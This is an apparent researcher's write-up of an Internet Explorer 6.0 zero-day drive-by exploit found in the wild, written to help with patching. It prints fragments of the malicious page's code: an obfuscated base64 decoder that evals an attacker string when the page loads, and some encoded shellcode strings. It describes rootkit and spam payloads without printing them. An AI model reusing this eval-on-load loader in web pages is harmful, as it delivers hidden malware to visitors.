Internet Explorer 6.0 0-day vulnerability

The aim of this article is to provide as much information as is needed for the researchers to patch this vulnerability. This paper was written in the night and is not a full bug analysis, the aim of it was to provide the community with the latest information about the vulnerability so that the less computers were infected. As the full analysis of this problem is going to come soon, this paper is simply enough to eliminate the bug and to provide a special patch. In general, these kinds of exploits won’t be easy to detect and it is going to be a hard work to eliminate them.

New 0-day remote code execution found in Internet Explorer 6.0 has been found. The code is obfuscated and the HTML web site’s source code looks suspiciously. The code of the exploit looks this way, each variable in JavaScript code is obfuscated, however, the code is not very difficult to understand.

[1] Original exploit screen
Stack [001296F0]=77C014BC (msvcrt.77C014BC),
ASCII “Access violation – no RTTI data!”

The part of the code could be extracted. One of the functions in the “shellcode” even was named “Exploit”.

Go(a);
catch(e){}
Log(something)
Exploit();

function Log(m) {
    var log = document.createElement('p'); log.innerHTML = m;
}
function CreateO(o, n) { .. }

The code of the exploit was so obfuscated, but this part of the shellcode looks much more familiar:

```
0012259C 00200004 UNICODE
"%e%27%b%30%36%37%32%33%45%30%39%2d%46%34%43%32%2d%34%33%63%38%2d%38%33%35%38%2d%30%39%46%43%44%31%"

00122644 0020003A UNICODE
"%30%39%2d%46%34%43%32%2d%34%33%63%38%2d%38%33%35%38%2d%30%39%46%43%44%31%44%2d%30%37%36%36%7d%27%2e%"
```

The exploit uses WScript.Shell object, which provides functions to read system information and deal with registry. The code of the Javascript function in the exploit should look this way:

```javascript
<script language="javascript">
var alfabet='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';

function funkcja(arg)
{
    var a1='', a2, a3, a4, a5, a6, a7, a8, a9=0;

    arg=arg.replace(/[^A-Za-z0-9\+/\=]/g, '');
    do {
        a5=alfabet.indexOf(arg.charAt(a9++));
        a6=alfabet.indexOf(arg.charAt(a9++));
        a7=alfabet.indexOf(arg.charAt(a9++));
        a8=alfabet.indexOf(arg.charAt(a9++));
        a2=(a5 << 2) | (a6 >> 4);
        some_shit=((a6 & 15) << 4) | (a7 >> 2);
        a4=((a7 & 3) << 6) | a8;
        a1=a1+String.fromCharCode(a2);
        if (a7!=64) a1=a1+String.fromCharCode(some_shit);
        if (a8!=64) a1=a1+String.fromCharCode(a4);
    }
    while (a9<arg.length); eval(a1);
</script>
```

The function is executed just after the victim loads the web site that was provided as a link. The EVAL function evaluates and/or executes a string of JavaScipt code. In this case I found three different kinds of code. One of them tried to install a rootkit on the victim’s system, the other two were less offensive and simply installed themselves on the victim’s system and sent spam. The code, which tried to install a rootkit manipulated directly kernel objects/modules and was kind a mutation of MigBot and KLOG.
When the site was opened, the attack was executed: `<body onload="funkcja(arg)"` was used in this case to execute the exploit, where the “arg” was the huge string.

Finally, I would like to show You what kind of code was executed (quite difficult to understand at first sight, ain’t it? ;-). As I said, it is quite a night right now, so I better go sleeping and leave unescaping (the exemplary code) for the MS researchers. However, those code are multiplying. One of those simpler codes exploited the vulnerability that had been reported. However, no exploit was available for it as for know. This kind of obfuscated code is probably going to be much more often used as it is difficult for the AV (btw, using only signatures is – in this case – quite useless) to understand that the code is malicious.

Right now, I am gonna get some sleep. Hope, You liked this. Aren’t You curious what’s in the box? The those strings from the unescape functions above, use JS console in Firefox, and write something like this: `alert(unescape(<this-string>))`

That’s for today, should say ‘tonight’ ;)